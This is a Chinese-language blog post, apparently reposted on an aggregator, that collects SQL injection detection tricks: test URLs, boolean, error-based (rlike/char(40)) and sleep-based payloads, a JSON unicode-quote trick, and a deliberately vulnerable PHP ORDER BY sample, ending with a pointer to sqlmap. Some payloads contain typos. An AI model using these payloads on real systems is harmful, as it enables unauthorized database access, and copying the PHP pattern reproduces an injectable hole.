SQL注入判断方法总结(持续更新)

Posted Reborn

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了SQL注入判断方法总结(持续更新)相关的知识,希望对你有一定的参考价值。

http://e.com/1.php?id=1
http://e.com/1.php?id=1-- sd
 
http://e.com/1.php?id=aaa
http://e.com/1.php?id=aaa\'-- sd
 
http://e.com/1.php?id=aaa
http://e.com/1.php?id=aaa\' \'
http://e.com/1.php?id=aaa\'||\'
http://e.com/1.php?id=aaa\'%2b\'
 
id=1 and 1=if(1=2,1,(select 1 union select 2)) 
id=1 and 1=if(1=1,1,(select 1 union select 2))
 
id=1 order by 1 正常
id=1 order by 1,  错误
id=1 order by 1, 1 正常

Content-Type: application/json 时: 
可以尝试用 \\u0027  代替单引号。

 orderby 注入:

<?php
$con = mysql_connect("localhost","root","123456") or die();
mysql_select_db("burp");
$orderby = $_POST[\'orderby\'];
$order = $_POST[\'order\'];
$sql = "select * from `sql` order by ".$orderby." ".$order;
echo $sql;
$res = mysql_query($sql);
echo "<br><br>";
echo "<b>";
while($rows = @mysql_fetch_array($res,MYSQL_ASSOC)){
    echo $rows[\'new\'];
}
echo "<b>";
?>

 

上面的代码 $orderby 和 $order 都存在注入

这里一般遇到order orderby 参数 我一般会这样来测

orderby=id,&order=asc

orderby=id,1&order=asc

所以可以这样来进行注入 

,if(1=1,1,(select 1 union sleect 2))

,if(1=2,1,(select 1 union sleect 2))

然后就可以放进sqlmap 愉快的跑了。

order 参数同上。

下面说另外一种注入方法:

先列2个语句

mysql> select user from mysql.user where user=\'admin\' order by user rlike char(40);
ERROR 1139 (42000): Got error \'parentheses not balanced\' from regexp
mysql> select user from mysql.user where user=\'admin\' order by user rlike 1;
+-------+
| user  |
+-------+
| admin |
+-------+
1 row in set (0.00 sec)

所以就可以构造这样的语句

orderby=id&order=rlike if(1=1,1,char(40))

orderby=id&order=rlike if(1=21,1,char(40))

或者 rlike (case when 1=1 then 1 else (select 1 union select 2)end)

跑数据就可以

rlike (case when 1=1 sqlinject then 1 else (select 1 union select 2)end)

最后也可以 使用sleep 来进行判断注入

orderby=sleep(1)&order=asc

以上是关于SQL注入判断方法总结(持续更新)的主要内容,如果未能解决你的问题,请参考以下文章

自己收集的一些常见SQL注入方式(持续更新)

回归 | js实用代码片段的封装与总结(持续更新中...)

Mysql注入小tips --持续更新中

BootStrap有用代码片段(持续总结)

ctf比赛中常见的注入问题杂谈(持续更新)

ctf基于python脚本的sql注入合集(持续更新)